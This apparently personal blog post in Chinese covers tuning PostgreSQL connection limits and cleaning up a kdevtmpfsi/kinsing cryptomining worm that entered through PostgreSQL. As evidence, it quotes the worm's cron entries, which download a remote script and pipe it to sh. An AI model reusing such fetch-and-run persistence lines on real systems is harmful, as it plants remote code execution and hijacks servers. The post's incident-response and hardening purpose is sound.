背景: pgsql連接時候報錯org.postgresql.util.PSQLException: FATAL: sorry, too many clients already, 意思是client已經把連接池占滿了. 使用ps -ef | grep postgres刪除幾個進程, 進入資料庫運行S ...
背景:
-
pgsql連接時候報錯
org.postgresql.util.PSQLException: FATAL: sorry, too many clients already
, 意思是client已經把連接池占滿了. -
使用
ps -ef | grep postgres
刪除幾個進程, 進入資料庫運行SELECT * FROM pg_stat_activity
, 發現大部分都是idle
空閑狀態的連接 -
然後修改
/var/lib/pgsql/14/data/postgres.conf
中的idle_session_timeout
為2000(2s), 但是資料庫中有警告(如下), 同時navicat中稍等2s後也會報這樣異常, 但是再次運行就可以. 因為navicat/dbeaver也是通過連接池方式與資料庫進行的連接2023-02-20 14:15:37.926 2023-02-20 14:15:37,926 [http-nio-80-exec-1459] WARN com.zaxxer.hikari.pool.PoolBase 173 - HikariPool-98 - Failed to validate connection org.postgresql.jdbc.PgConnection@5e029bbb (This connection has been closed.)
-
後來只好將
idle_session_timeout
恢復, 然後嘗試擴大線程池大小 -
但是線程池大小跟伺服器配置有關, 預設的大小是100, 在
postgres.conf
中修改max_connections
為200, 重啟資料庫雖然可以正常使用, 但是在tomcat重啟時(war包會依次重新部署), 伺服器因為資料庫連接池太大, 導致tomcat啟動失敗(可能是堆棧溢出了). -
再次嘗試調整到150, 雖然可以正常使用, 但是postgres會占用cpu太高, 300%左右, 只好調整回100.
-
在pgsql高版本中對此也有一部分配置, 比如每隔幾分鐘會發現無效連接併進行關閉, 可以減輕部分連接池壓力(詳情見參考1)
一、idle_session_timeout參數 用來控制空閑會話連接超時的時間。區別於tcp_keepalives相關參數, 當一個會話連接長時間沒有執行SQL或者活動時,會將該會話釋放,可以釋放緩存避免出現例如OOM等問題 idle_session_timeout:預設值為0,表示禁用,其單位是毫秒; 14版本引入了idle_session_timeout參數,可以在設置該參數,超過設置的時間,資料庫會關閉空閑連接。之前的老版本可以使用pg_timeout插件,達到同樣的效果。但是同樣也會關閉掉我們想保留的正常的空閑連接,所以設置TCP keepalive是更好的解決方案。 二、postgresql的tcp_keepalives相關參數設置可以及時發現無效連接, 如下這樣可以在5分鐘以內就探測出無效連接 tcp_keepalives_idle = 60 # TCP_KEEPIDLE, in seconds; tcp_keepalives_interval = 20 # TCP_KEEPINTVL, in seconds; tcp_keepalives_count = 10 # TCP_KEEPCNT; 三、PG14版本還引入了client_connection_check_interval參數, 每隔一段時間檢測client是否離線(斷開),如果已經離線,則快速結束掉正在運行的query,,浪費資料庫資源。預設是0,單位預設毫秒 官方文檔解釋: client_connection_check_interval = 0 # time between checks for client # disconnection while running queries; 0 for never
-
就在調整回100後過了半個小時, 進伺服器使用
top
複查時, 發現了一個還有一個線程占用了388.0%
, 名稱為kdevtmpfsi
, 經過百度發現這是個在20年處爆發的挖礦僵屍網路蠕蟲病毒
, 但是網上都是說是通過redis未授權或弱口令作為入口進行侵入的, 但是這次遇到的情況卻不是因為redis引起的. -
第一步肯定是先把進程停了: 使用
kill -9 pid
停止進程, 發現有個依賴進程kinsing
, 那就先使用ps -ef | grep kinsing
找到對應的pid停止即可. -
如果到這一步停止的話, 過不了多久他會自動重新啟動的.
-
繼續挖, 全盤查找這兩個文件
find / kinsing
發現只有/tmp
中有, 我第一次時候直接rm -f /tmp/kinsing
刪除了這兩個文件, 然後就束手無策了, 但是在一小時左右時候kinsing
又重新生成了. -
通過
ll
發現kinsing
的擁有者是postgres
, 這時才確定了是pgsql引起的, 而不是redis引起的 -
接下來就好說了, 首先刪除
kinsing
文件 -
使用
crontab
指令(下方是使用說明)找出postgres
創建的定時任務, 刪除掉即可.
Usage:
crontab [options] file
crontab [options]
crontab -n [hostname]
Options:
-u <user> define user
-e edit user's crontab
-l list user's crontab
-r delete user's crontab
-i prompt before deleting
-n <host> set host in cluster to run users' crontabs
-c get host in cluster to run users' crontabs
-s selinux context
-V print version and exit
-x <mask> enable debugging
-u 定義用戶(誰建立的)
-e 修改用戶創建的定時任務
-l 列舉出用戶創建的定時任務
-r 刪除用戶創建的定時任務
crontab -u postgres -e
使用預設編輯器打開postgres
創建的定時任務, 對應的定時任務文件在/var/spool/cron/
目錄下.
顯示:
* * * * * wget -q -O - http://[ip]/pg.sh | sh > /dev/null 2>&1
* * * * * wget -q -O - http://[other ip]/pg.sh | sh > /dev/null 2>&1
刪除的話直接使用vim指令dd
全部刪除, :wq
保存退出即可.
哪些有風險呢? 通過尋找解決之法時候發現包括但不限於以下幾種
-
redis
-
pgsql
-
php
如何避免呢?
-
伺服器上只開放使用到的伺服器
-
儘量不使用預設埠(如: 3306, 5432, 8848)
-
不用使用預設密碼, 一定修改密碼, 且複雜度高一些
-
安裝包使用官方版本
參考1: postgresql空閑連接以及連接有效性檢查的參數小結
參考2: Postgres資料庫修改最大連接數
參考3: 記一次伺服器 linux(centos7)被 postgres 病毒攻擊, 挖礦的事故
參考5: kdevtmpfsi using 100% of CPU?
參考6: 關於linux病毒kinsing kdevtmpfsi 的處理
參考7: Linux伺服器kdevtmpfsi挖礦病毒解決方法:治標+治本
參考9: 威脅快報|Redis RCE導致h2Miner蠕蟲新一輪爆發,建議用戶及時排查以防事態升級
參考10: linux - kdevtmpfsi using the entire CPU